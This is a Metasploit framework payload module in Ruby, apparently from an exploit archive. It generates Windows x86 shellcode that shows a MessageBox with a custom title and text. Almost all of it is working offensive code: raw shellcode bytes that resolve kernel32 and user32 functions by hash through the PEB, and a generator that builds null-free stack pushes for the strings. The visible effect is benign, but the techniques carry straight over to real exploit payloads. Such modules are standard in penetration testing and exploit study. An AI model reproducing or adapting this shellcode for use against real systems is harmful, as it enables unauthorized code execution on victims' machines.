Windows Messagebox with custom title and text shellcode.
bfb767a550c15f0127b50d18eb047c22434148eb8a29252b851930cbdc760bda
##
# $Id: messagebox.rb 4 2010-02-26 00:28:00:00Z corelanc0d3r & rick2600 $
##
#
# Installation instructions :
# Drop file in framework3/modules/payloads/singles/windows folder
#
# Usage : ./msfpayload windows/messagebox TITLE="Corelan" TEXT="Greetz to corelanc0d3r" P
#
require 'msf/core'
module Metasploit3
include Msf::Payload::Windows
include Msf::Payload::Single
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Messagebox with custom title and text',
'Version' => '$Revision: 4 $',
'Description' => 'Spawns MessageBox with a customizable title & text',
'Author' => [ 'corelanc0d3r - peter.ve[at]corelan.be',
'rick2600 - ricks2600[at]gmail.com' ],
'License' => BSD_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Privileged' => false,
'Payload' =>
{
'Offsets' => { },
'Payload' => "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31"+
"\xd2\xb2\x7a\x31\xc9\x64\x8b\x71"+
"\x30\x8b\x76\x0c\x8b\x76\x1c\x8b"+
"\x46\x08\x8b\x7e\x20\x8b\x36\x38"+
"\x4f\x18\x75\xf3\x59\x01\xd1\xff"+
"\xe1\x60\x8b\x6c\x24\x24\x8b\x45"+
"\x3c\x8b\x54\x05\x78\x01\xea\x8b"+
"\x4a\x18\x8b\x5a\x20\x01\xeb\xe3"+
"\x37\x49\x8b\x34\x8b\x01\xee\x31"+
"\xff\x31\xc0\xfc\xac\x84\xc0\x74"+
"\x0a\xc1\xcf\x0d\x01\xc7\xe9\xf1"+
"\xff\xff\xff\x3b\x7c\x24\x28\x75"+
"\xde\x8b\x5a\x24\x01\xeb\x66\x8b"+
"\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b"+
"\x04\x8b\x01\xe8\x89\x44\x24\x1c"+
"\x61\xc3\xb2\x08\x29\xd4\x89\xe5"+
"\x89\xc2\x68\x8e\x4e\x0e\xec\x52"+
"\xe8\x9c\xff\xff\xff\x89\x45\x04"+
"\xbb"
}
))
# EXITFUNC : Only support Process and Thread :/
deregister_options('EXITFUNC')
# Register MessageBox options
register_options(
[
OptString.new('EXITFUNC', [ false,
"Only Process (default) or Thread are supported","process"]),
OptString.new('TITLE', [ true,
"Messagebox Title (max 255 chars)" ]),
OptString.new('TEXT', [ true,
"Messagebox Text" ])
], self.class)
end
#
# Constructs the payload
#
def generate
strExitFunc = datastore['EXITFUNC'] || "process"
strExitFuncHash = "\x7e\xd8\xe2\x73" #ExitProcess()
strTitle = datastore['TITLE']
if (strTitle)
#ExitFunc
if (strExitFunc) then
strExitFunc=strExitFunc.downcase
if strExitFunc == "thread" then
strExitFuncHash="\xEF\xCE\xE0\x60" #ExitThread()
end
end
#================Process Title==================================
strTitle=strTitle+"X"
iTitle=strTitle.length
if (iTitle < 256)
iNrLines=iTitle/4
iCheckChars = iNrLines * 4
strSpaces=""
iSniperTitle=iTitle-1
if iCheckChars != iTitle then
iTargetChars=(iNrLines+1)*4
while iTitle < iTargetChars
strSpaces+=" " #add space
iTitle+=1
end
end
strTitle=strTitle+strSpaces #title is now 4 byte aligned
#and string ends with X
#at index iSniperTitle
#push Title to stack
#start at back of string
strPushTitle=""
strLine=""
icnt=strTitle.length-1
icharcnt=0
while icnt >= 0
thisChar=strTitle[icnt,1]
strLine=thisChar+strLine
if icharcnt < 3
icharcnt+=1
else
strPushTitle=strPushTitle+"h"+strLine #h = \68 = push
strLine=""
icharcnt=0
end
icnt=icnt-1
end
#generate opcode to write null byte
strWriteTitleNull="\x31\xDB\x88\x5C\x24"
strWriteTitleNull += iSniperTitle.chr + "\x89\xe3"
#================Process Text===============================
#cut text into 4 byte push instructions
strText = datastore['TEXT']
strText=strText+"X"
iText=strText.length
iNrLines=iText/4
iCheckChars = iNrLines * 4
strSpaces=""
iSniperText=iText-1
if iCheckChars != iText then
iTargetChars=(iNrLines+1)*4
while iText < iTargetChars
strSpaces+=" " #add space
iText+=1
end
end
strText=strText+strSpaces #text is now 4 byte aligned
#and string ends with X
#at index iSniperTitle
#push Text to stack
#start at back of string
strPushText=""
strLine=""
icnt=strText.length-1
icharcnt=0
while icnt >= 0
thisChar=strText[icnt,1]
strLine=thisChar+strLine
if icharcnt < 3
icharcnt+=1
else
strPushText=strPushText+"h"+strLine #h = \68 = push
strLine=""
icharcnt=0
end
icnt=icnt-1
end
#generate opcode to write null byte
strWriteTextNull="\x31\xc9\x88\x4C\x24"
strWriteTextNull += iSniperText.chr + "\x89\xe1"
#build payload
payload_data = module_info['Payload']['Payload']
payload_data += strExitFuncHash
payload_data += "\x87\x1c\x24"
payload_data += "\x52\xe8\x8b\xff\xff\xff\x89\x45"
payload_data += "\x08\x68\x6c\x6c\x20\xff\x68\x33"
payload_data += "\x32\x2e\x64\x68\x75\x73\x65\x72"
payload_data += "\x88\x5c\x24\x0a\x89\xe6\x56\xff"
payload_data += "\x55\x04\x89\xc2\x50\xbb\xa8\xa2"
payload_data += "\x4d\xbc\x87\x1c\x24\x52\xe8\x5e"
payload_data += "\xff\xff\xff"
payload_data += strPushTitle + strWriteTitleNull
payload_data += strPushText + strWriteTextNull
payload_data += "\x31\xd2\x52"
payload_data += "\x53\x51\x52\xff\xd0\x31\xc0\x50"
payload_data += "\xff\x55\x08"
return payload_data
else
raise ArgumentError, "Title should be 255 characters or less"
end
end
end
end